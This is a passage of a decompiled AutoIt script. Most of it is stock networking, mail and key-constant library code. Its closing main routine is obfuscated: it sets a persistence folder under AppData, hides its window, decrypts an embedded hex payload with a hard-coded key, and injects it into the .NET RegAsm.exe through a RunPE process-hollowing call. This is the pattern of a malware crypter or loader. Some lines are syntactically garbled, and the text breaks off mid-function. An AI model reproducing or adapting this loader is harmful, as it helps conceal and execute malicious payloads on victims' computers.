$S_IERETURN = $S_IERETURN & "%" & STRINGRIGHT ($N_IECHAR , 2 )
ELSE
$S_IERETURN = $S_IERETURN & CHR ($N_IECHAR )
ENDIF
NEXT
RETURN $S_IERETURN
ENDFUNC
FUNC _INETGETSOURCE ($SURL , $BSTRING = TRUE )
LOCAL $SSTRING = INETREAD ($SURL , $INET_FORCERELOAD )
LOCAL $IERROR = @ERROR , $IEXTENDED = @EXTENDED
IF $BSTRING = DEFAULT OR $BSTRING THEN $SSTRING = BINARYTOSTRING ($SSTRING )
RETURN SETERROR ($IERROR , $IEXTENDED , $SSTRING )
ENDFUNC
FUNC _INETMAIL ($SMAILTO , $SMAILSUBJECT , $SMAILBODY )
LOCAL $IPREV = OPT ("ExpandEnvStrings" , 1 )
LOCAL $SVAR , $SDFLT = REGREAD ("HKCU\Software\Clients\Mail" , "" )
IF $SDFLT = "Windows Live Mail" THEN
$SVAR = REGREAD ("HKCR\WLMail.Url.Mailto\Shell\open\command" , "" )
ELSE
$SVAR = REGREAD ("HKCR\mailto\shell\open\command" , "" )
ENDIF
LOCAL $IRET = RUN (STRINGREPLACE ($SVAR , "%1" , _INETEXPLORERCAPABLE ("mailto:" & $SMAILTO & "?subject=" & $SMAILSUBJECT & "&body=" & $SMAILBODY ) ) )
LOCAL $IERROR = @ERROR , $IEXTENDED = @EXTENDED
OPT ("ExpandEnvStrings" , $IPREV )
RETURN SETERROR ($IERROR , $IEXTENDED , $IRET )
ENDFUNC
FUNC _INETSMTPMAIL ($SSMTPSERVER , $SFROMNAME , $SFROMADDRESS , $STOADDRESS , $SSUBJECT = "" , $ABODY = "" , $SEHLO = "" , $SFIRST = "" , $BTRACE = 0 )
IF $SSMTPSERVER = "" OR $SFROMADDRESS = "" OR $STOADDRESS = "" OR $SFROMNAME = "" OR STRINGLEN ($SFROMNAME ) > 256 THEN RETURN SETERROR (1 , 0 , 0 )
IF $SEHLO = "" THEN $SEHLO = @COMPUTERNAME
IF TCPSTARTUP () = 0 THEN RETURN SETERROR (2 , 0 , 0 )
LOCAL $S_IPADDRESS , $I_COUNT
IF STRINGREGEXP ($SSMTPSERVER , "^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$" ) THEN
$S_IPADDRESS = $SSMTPSERVER
ELSE
$S_IPADDRESS = TCPNAMETOIP ($SSMTPSERVER )
ENDIF
IF $S_IPADDRESS = "" THEN
TCPSHUTDOWN ()
RETURN SETERROR (3 , 0 , 0 )
ENDIF
LOCAL $VSOCKET = TCPCONNECT ($S_IPADDRESS , 25 )
IF $VSOCKET = + 4294967295 THEN
TCPSHUTDOWN ()
RETURN SETERROR (4 , 0 , 0 )
ENDIF
LOCAL $ASEND [6 ] , $AREPLYCODE [6 ]
$ASEND [0 ] = "HELO " & $SEHLO & @CRLF
IF STRINGLEFT ($SEHLO , 5 ) = "EHLO " THEN $ASEND [0 ] = $SEHLO & @CRLF
$AREPLYCODE [0 ] = "250"
$ASEND [1 ] = "MAIL FROM: <" & $SFROMADDRESS & ">" & @CRLF
$AREPLYCODE [1 ] = "250"
$ASEND [2 ] = "RCPT TO: <" & $STOADDRESS & ">" & @CRLF
$AREPLYCODE [2 ] = "250"
$ASEND [3 ] = "DATA" & @CRLF
$AREPLYCODE [3 ] = "354"
LOCAL $ARESULT = _DATE_TIME_GETTIMEZONEINFORMATION ()
LOCAL $IBIAS = - $ARESULT [1 ] / 60
LOCAL $IBIASH = INT ($IBIAS )
LOCAL $IBIASM = 0
IF $IBIASH <> $IBIAS THEN $IBIASM = ABS ($IBIAS - $IBIASH ) * 60
$IBIAS = STRINGFORMAT (" (%+.2d%.2d)" , $IBIASH , $IBIASM )
$ASEND [4 ] = "From:" & $SFROMNAME & "<" & $SFROMADDRESS & ">" & @CRLF & "To:" & "<" & $STOADDRESS & ">" & @CRLF & "Subject:" & $SSUBJECT & @CRLF & "Mime-Version: 1.0" & @CRLF & "Date: " & _DATEDAYOFWEEK (@WDAY , 1 ) & ", " & @MDAY & " " & _DATETOMONTH (@MON , 1 ) & " " & @YEAR & " " & @HOUR & ":" & @MIN & ":" & @SEC & $IBIAS & @CRLF & "Content-Type: text/plain; charset=US-ASCII" & @CRLF & @CRLF
$AREPLYCODE [4 ] = ""
$ASEND [5 ] = @CRLF & "." & @CRLF
$AREPLYCODE [5 ] = "250"
IF __SMTPSEND ($VSOCKET , $ASEND [0 ] , $AREPLYCODE [0 ] , $BTRACE , "220" , $SFIRST ) THEN RETURN SETERROR (50 , 0 , 0 )
FOR $I_COUNT = 1 TO UBOUND ($ASEND ) + 4294967294
IF __SMTPSEND ($VSOCKET , $ASEND [$I_COUNT ] , $AREPLYCODE [$I_COUNT ] , $BTRACE ) THEN RETURN SETERROR (50 + $I_COUNT , 0 , 0 )
NEXT
FOR $I_COUNT = 0 TO UBOUND ($ABODY ) + 4294967295
IF STRINGLEFT ($ABODY [$I_COUNT ] , 1 ) = "." THEN $ABODY [$I_COUNT ] = "." & $ABODY [$I_COUNT ]
IF __SMTPSEND ($VSOCKET , $ABODY [$I_COUNT ] & @CRLF , "" , $BTRACE ) THEN RETURN SETERROR (500 + $I_COUNT , 0 , 0 )
NEXT
$I_COUNT = UBOUND ($ASEND ) + 4294967295
IF __SMTPSEND ($VSOCKET , $ASEND [$I_COUNT ] , $AREPLYCODE [$I_COUNT ] , $BTRACE ) THEN RETURN SETERROR (5000 , 0 , 0 )
TCPCLOSESOCKET ($VSOCKET )
TCPSHUTDOWN ()
RETURN 1
ENDFUNC
FUNC __SMTPTRACE ($SSTR , $ITIMEOUT = 0 )
LOCAL $SW_TITLE = "SMTP trace"
LOCAL $SSMTPTRACE = CONTROLGETTEXT ($SW_TITLE , "" , "Static1" )
$SSTR = STRINGLEFT (STRINGREPLACE ($SSTR , @CRLF , "" ) , 70 )
$SSMTPTRACE &= @HOUR & ":" & @MIN & ":" & @SEC & " " & $SSTR & @LF
IF WINEXISTS ($SW_TITLE ) THEN
CONTROLSETTEXT ($SW_TITLE , "" , "Static1" , $SSMTPTRACE )
ELSE
SPLASHTEXTON ($SW_TITLE , $SSMTPTRACE , 400 , 500 , 500 , 100 , 4 + 16 , "" , 8 )
ENDIF
IF $ITIMEOUT THEN SLEEP ($ITIMEOUT * 1000 )
ENDFUNC
FUNC __SMTPSEND ($VSOCKET , $SSEND , $SREPLYCODE , $BTRACE , $SINTREPLY = "" , $SFIRST = "" )
LOCAL $SRECEIVE , $I , $HTIMER
IF $BTRACE THEN __SMTPTRACE ($SSEND )
IF $SINTREPLY <> "" THEN
IF $SFIRST <> + 4294967295 THEN
IF TCPSEND ($VSOCKET , $SFIRST ) = 0 THEN
TCPCLOSESOCKET ($VSOCKET )
TCPSHUTDOWN ()
RETURN 1
ENDIF
ENDIF
$SRECEIVE = ""
$HTIMER = TIMERINIT ()
WHILE STRINGLEFT ($SRECEIVE , STRINGLEN ($SINTREPLY ) ) <> $SINTREPLY AND TIMERDIFF ($HTIMER ) < 45000
$SRECEIVE = TCPRECV ($VSOCKET , 1000 )
IF $BTRACE AND $SRECEIVE <> "" THEN __SMTPTRACE ("intermediate->" & $SRECEIVE )
WEND
ENDIF
IF TCPSEND ($VSOCKET , $SSEND ) = 0 THEN
TCPCLOSESOCKET ($VSOCKET )
TCPSHUTDOWN ()
RETURN 1
ENDIF
$HTIMER = TIMERINIT ()
$SRECEIVE = ""
WHILE $SRECEIVE = "" AND TIMERDIFF ($HTIMER ) < 45000
$I += 1
$SRECEIVE = TCPRECV ($VSOCKET , 1000 )
IF $SREPLYCODE = "" THEN EXITLOOP
WEND
IF $SREPLYCODE <> "" THEN
IF $BTRACE THEN __SMTPTRACE ($I & " <- " & $SRECEIVE )
IF STRINGLEFT ($SRECEIVE , STRINGLEN ($SREPLYCODE ) ) <> $SREPLYCODE THEN
TCPCLOSESOCKET ($VSOCKET )
TCPSHUTDOWN ()
IF $BTRACE THEN __SMTPTRACE ("<-> " & $SREPLYCODE , 5 )
RETURN 2
ENDIF
ENDIF
RETURN 0
ENDFUNC
FUNC _TCPIPTONAME ($SIP , $IOPTION = DEFAULT , $HDLL = DEFAULT )
LOCAL $IINADDR_NONE = 4294967295 , $IAF_INET = 2 , $SSEPARATOR = @CR
IF $IOPTION = DEFAULT THEN $IOPTION = 0
IF $HDLL = DEFAULT THEN $HDLL = "ws2_32.dll"
LOCAL $AVDLLCALL = DLLCALL ($HDLL , "ulong" , "inet_addr" , "STR" , $SIP )
IF @ERROR THEN RETURN SETERROR (1 , 0 , "" )
LOCAL $VBINIP = $AVDLLCALL [0 ]
IF $VBINIP = $IINADDR_NONE THEN RETURN SETERROR (2 , 0 , "" )
$AVDLLCALL = DLLCALL ($HDLL , "ptr" , "gethostbyaddr" , "ptr*" , $VBINIP , "int" , 4 , "int" , $IAF_INET )
IF @ERROR THEN RETURN SETERROR (3 , 0 , "" )
LOCAL $PVHOSTENT = $AVDLLCALL [0 ]
IF $PVHOSTENT = 0 THEN
$AVDLLCALL = DLLCALL ($HDLL , "int" , "WSAGetLastError" )
IF @ERROR THEN RETURN SETERROR (5 , 0 , "" )
RETURN SETERROR (4 , $AVDLLCALL [0 ] , "" )
ENDIF
LOCAL $THOSTENT = DLLSTRUCTCREATE ("ptr;ptr;short;short;ptr" , $PVHOSTENT )
LOCAL $SHOSTNAMES = __TCPIPTONAME_SZSTRINGREAD (DLLSTRUCTGETDATA ($THOSTENT , 1 ) )
IF @ERROR THEN RETURN SETERROR (6 , 0 , $SHOSTNAMES )
IF $IOPTION = 1 THEN
LOCAL $TALIASES
$SHOSTNAMES &= $SSEPARATOR
FOR $I = 0 TO 63
$TALIASES = DLLSTRUCTCREATE ("ptr" , DLLSTRUCTGETDATA ($THOSTENT , 2 ) + ($I * 4 ) )
IF DLLSTRUCTGETDATA ($TALIASES , 1 ) = 0 THEN EXITLOOP
$SHOSTNAMES &= __TCPIPTONAME_SZSTRINGREAD (DLLSTRUCTGETDATA ($TALIASES , 1 ) )
IF @ERROR THEN
SETERROR (7 )
EXITLOOP
ENDIF
NEXT
RETURN STRINGSPLIT (STRINGSTRIPWS ($SHOSTNAMES , $STR_STRIPTRAILING ) , @CR )
ELSE
RETURN $SHOSTNAMES
ENDIF
ENDFUNC
FUNC __TCPIPTONAME_SZSTRINGREAD ($PSTR , $ILEN = + 4294967295 )
LOCAL $TSTRING
IF $PSTR < 1 THEN RETURN ""
IF $ILEN < 0 THEN $ILEN = _WINAPI_STRLEN ($PSTR , FALSE )
$TSTRING = DLLSTRUCTCREATE ("char[" & $ILEN & "]" , $PSTR )
IF @ERROR THEN RETURN SETERROR (2 , 0 , "" )
RETURN SETEXTENDED ($ILEN , DLLSTRUCTGETDATA ($TSTRING , 1 ) )
ENDFUNC
GLOBAL CONST $VK_LBUTTON = 1
GLOBAL CONST $VK_RBUTTON = 2
GLOBAL CONST $VK_CANCEL = 3
GLOBAL CONST $VK_MBUTTON = 4
GLOBAL CONST $VK_XBUTTON1 = 5
GLOBAL CONST $VK_XBUTTON2 = 6
GLOBAL CONST $VK_BACK = 8
GLOBAL CONST $VK_TAB = 9
GLOBAL CONST $VK_CLEAR = 12
GLOBAL CONST $VK_RETURN = 13
GLOBAL CONST $VK_SHIFT = 16
GLOBAL CONST $VK_CONTROL = 17
GLOBAL CONST $VK_MENU = 18
GLOBAL CONST $VK_PAUSE = 19
GLOBAL CONST $VK_CAPITAL = 20
GLOBAL CONST $VK_KANA = 21
GLOBAL CONST $VK_HANGUL = 21
GLOBAL CONST $VK_JUNJA = 23
GLOBAL CONST $VK_FINAL = 24
GLOBAL CONST $VK_HANJA = 25
GLOBAL CONST $VK_KANJI = 25
GLOBAL CONST $VK_ESCAPE = 27
GLOBAL CONST $VK_CONVERT = 28
GLOBAL CONST $VK_NONCONVERT = 29
GLOBAL CONST $VK_ACCEPT = 30
GLOBAL CONST $VK_MODECHANGE = 31
GLOBAL CONST $VK_SPACE = 32
GLOBAL CONST $VK_PRIOR = 33
GLOBAL CONST $VK_NEXT = 34
GLOBAL CONST $VK_END = 35
GLOBAL CONST $VK_HOME = 36
GLOBAL CONST $VK_LEFT = 37
GLOBAL CONST $VK_UP = 38
GLOBAL CONST $VK_RIGHT = 39
GLOBAL CONST $VK_DOWN = 40
GLOBAL CONST $VK_SELECT = 41
GLOBAL CONST $VK_PRINT = 42
GLOBAL CONST $VK_EXECUTE = 43
GLOBAL CONST $VK_SNAPSHOT = 44
GLOBAL CONST $VK_INSERT = 45
GLOBAL CONST $VK_DELETE = 46
GLOBAL CONST $VK_HELP = 47
GLOBAL CONST $VK_0 = 48
GLOBAL CONST $VK_1 = 49
GLOBAL CONST $VK_2 = 50
GLOBAL CONST $VK_3 = 51
GLOBAL CONST $VK_4 = 52
GLOBAL CONST $VK_5 = 53
GLOBAL CONST $VK_6 = 54
GLOBAL CONST $VK_7 = 55
GLOBAL CONST $VK_8 = 56
GLOBAL CONST $VK_9 = 57
GLOBAL CONST $VK_A = 65
GLOBAL CONST $VK_B = 66
GLOBAL CONST $VK_C = 67
GLOBAL CONST $VK_D = 68
GLOBAL CONST $VK_E = 69
GLOBAL CONST $VK_F = 70
GLOBAL CONST $VK_G = 71
GLOBAL CONST $VK_H = 72
GLOBAL CONST $VK_I = 73
GLOBAL CONST $VK_J = 74
GLOBAL CONST $VK_K = 75
GLOBAL CONST $VK_L = 76
GLOBAL CONST $VK_M = 77
GLOBAL CONST $VK_N = 78
GLOBAL CONST $VK_O = 79
GLOBAL CONST $VK_P = 80
GLOBAL CONST $VK_Q = 81
GLOBAL CONST $VK_R = 82
GLOBAL CONST $VK_S = 83
GLOBAL CONST $VK_T = 84
GLOBAL CONST $VK_U = 85
GLOBAL CONST $VK_V = 86
GLOBAL CONST $VK_W = 87
GLOBAL CONST $VK_X = 88
GLOBAL CONST $VK_Y = 89
GLOBAL CONST $VK_Z = 90
GLOBAL CONST $VK_LWIN = 91
GLOBAL CONST $VK_RWIN = 92
GLOBAL CONST $VK_APPS = 93
GLOBAL CONST $VK_SLEEP = 95
GLOBAL CONST $VK_NUMPAD0 = 96
GLOBAL CONST $VK_NUMPAD1 = 97
GLOBAL CONST $VK_NUMPAD2 = 98
GLOBAL CONST $VK_NUMPAD3 = 99
GLOBAL CONST $VK_NUMPAD4 = 100
GLOBAL CONST $VK_NUMPAD5 = 101
GLOBAL CONST $VK_NUMPAD6 = 102
GLOBAL CONST $VK_NUMPAD7 = 103
GLOBAL CONST $VK_NUMPAD8 = 104
GLOBAL CONST $VK_NUMPAD9 = 105
GLOBAL CONST $VK_MULTIPLY = 106
GLOBAL CONST $VK_ADD = 107
GLOBAL CONST $VK_SEPARATOR = 108
GLOBAL CONST $VK_SUBTRACT = 109
GLOBAL CONST $VK_DECIMAL = 110
GLOBAL CONST $VK_DIVIDE = 111
GLOBAL CONST $VK_F1 = 112
GLOBAL CONST $VK_F2 = 113
GLOBAL CONST $VK_F3 = 114
GLOBAL CONST $VK_F4 = 115
GLOBAL CONST $VK_F5 = 116
GLOBAL CONST $VK_F6 = 117
GLOBAL CONST $VK_F7 = 118
GLOBAL CONST $VK_F8 = 119
GLOBAL CONST $VK_F9 = 120
GLOBAL CONST $VK_F10 = 121
GLOBAL CONST $VK_F11 = 122
GLOBAL CONST $VK_F12 = 123
GLOBAL CONST $VK_F13 = 124
GLOBAL CONST $VK_F14 = 125
GLOBAL CONST $VK_F15 = 126
GLOBAL CONST $VK_F16 = 127
GLOBAL CONST $VK_F17 = 128
GLOBAL CONST $VK_F18 = 129
GLOBAL CONST $VK_F19 = 130
GLOBAL CONST $VK_F20 = 131
GLOBAL CONST $VK_F21 = 132
GLOBAL CONST $VK_F22 = 133
GLOBAL CONST $VK_F23 = 134
GLOBAL CONST $VK_F24 = 135
GLOBAL CONST $VK_NUMLOCK = 144
GLOBAL CONST $VK_SCROLL = 145
GLOBAL CONST $VK_LSHIFT = 160
GLOBAL CONST $VK_RSHIFT = 161
GLOBAL CONST $VK_LCONTROL = 162
GLOBAL CONST $VK_RCONTROL = 163
GLOBAL CONST $VK_LMENU = 164
GLOBAL CONST $VK_RMENU = 165
GLOBAL CONST $VK_BROWSER_BACK = 166
GLOBAL CONST $VK_BROWSER_FORWARD = 167
GLOBAL CONST $VK_BROWSER_REFRESH = 168
GLOBAL CONST $VK_BROWSER_STOP = 169
GLOBAL CONST $VK_BROWSER_SEARCH = 170
GLOBAL CONST $VK_BROWSER_FAVORITES = 171
GLOBAL CONST $VK_BROWSER_HOME = 172
GLOBAL CONST $VK_VOLUME_MUTE = 173
GLOBAL CONST $VK_VOLUME_DOWN = 174
GLOBAL CONST $VK_VOLUME_UP = 175
GLOBAL CONST $VK_MEDIA_NEXT_TRACK = 176
GLOBAL CONST $VK_MEDIA_PREV_TRACK = 177
GLOBAL CONST $VK_MEDIA_STOP = 178
GLOBAL CONST $VK_MEDIA_PLAY_PAUSE = 179
GLOBAL CONST $VK_LAUNCH_MAIL = 180
GLOBAL CONST $VK_LAUNCH_MEDIA_SELECT = 181
GLOBAL CONST $VK_LAUNCH_APP1 = 182
GLOBAL CONST $VK_LAUNCH_APP2 = 183
GLOBAL CONST $VK_OEM_1 = 186
GLOBAL CONST $VK_OEM_PLUS = 187
GLOBAL CONST $VK_OEM_COMMA = 188
GLOBAL CONST $VK_OEM_MINUS = 189
GLOBAL CONST $VK_OEM_PERIOD = 190
GLOBAL CONST $VK_OEM_2 = 191
GLOBAL CONST $VK_OEM_3 = 192
GLOBAL CONST $VK_OEM_4 = 219
GLOBAL CONST $VK_OEM_5 = 220
GLOBAL CONST $VK_OEM_6 = 221
GLOBAL CONST $VK_OEM_7 = 222
GLOBAL CONST $VK_OEM_8 = 223
GLOBAL CONST $VK_OEM_102 = 226
GLOBAL CONST $VK_PROCESSKEY = 229
GLOBAL CONST $VK_PACKET = 231
GLOBAL CONST $VK_ATTN = 246
GLOBAL CONST $VK_CRSEL = 247
GLOBAL CONST $VK_EXSEL = 248
GLOBAL CONST $VK_EREOF = 249
GLOBAL CONST $VK_PLAY = 250
GLOBAL CONST $VK_ZOOM = 251
GLOBAL CONST $VK_NONAME = 252
GLOBAL CONST $VK_PA1 = 253
GLOBAL CONST $VK_OEM_CLEAR = 254
DIM $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV
LOCAL $STARTUPDIR = @APPDATADIR & "\Gfxv2_0"
LOCAL $BOOL = @SCRIPTDIR = $STARTUPDIR "True" "False"
LOCAL $GUI = GUICREATE ("" , "350" , "100" , "0" , "0" , "0" , "-999" )
WHILE ("1" )
GUISETSTATE (@SW_SHOW )
LSVTGEQXOY ()
VFNIVSZMZI ()
VGPSDSMHIF ("53" , "45000" )
ZJFEKVYJJF ("sdchange" , "RMActivate_isv.exe" )
$STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV = EJTUMKGNAG ("0x53656345646974567C6375726C6E" , "0x434B5961674F4762524C467848624473567862694A455657466E574356766E4A" , "6" )
DIM $MLAETEGEXLRN = EXECUTE ("@HomeDrive & "\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"" )
DIM $FUAGJWKYSDOC = EXECUTE ("@HomeDrive & "\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"" )
IF FILEEXISTS ($MLAETEGEXLRN ) THEN
RUNPE ($MLAETEGEXLRN , $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV , TRUE , TRUE )
ELSEIF FILEEXISTS ($FUAGJWKYSDOC ) THEN
RUNPE ($FUAGJWKYSDOC , $STWGFKWWOFYRYTVJWBUHZVJYOCVTSEGV , TRUE , TRUE )
ENDIF
JBBXBRVVWS ()
EXITLOOP
WEND
FUNC JBBXBRVVWS ()
|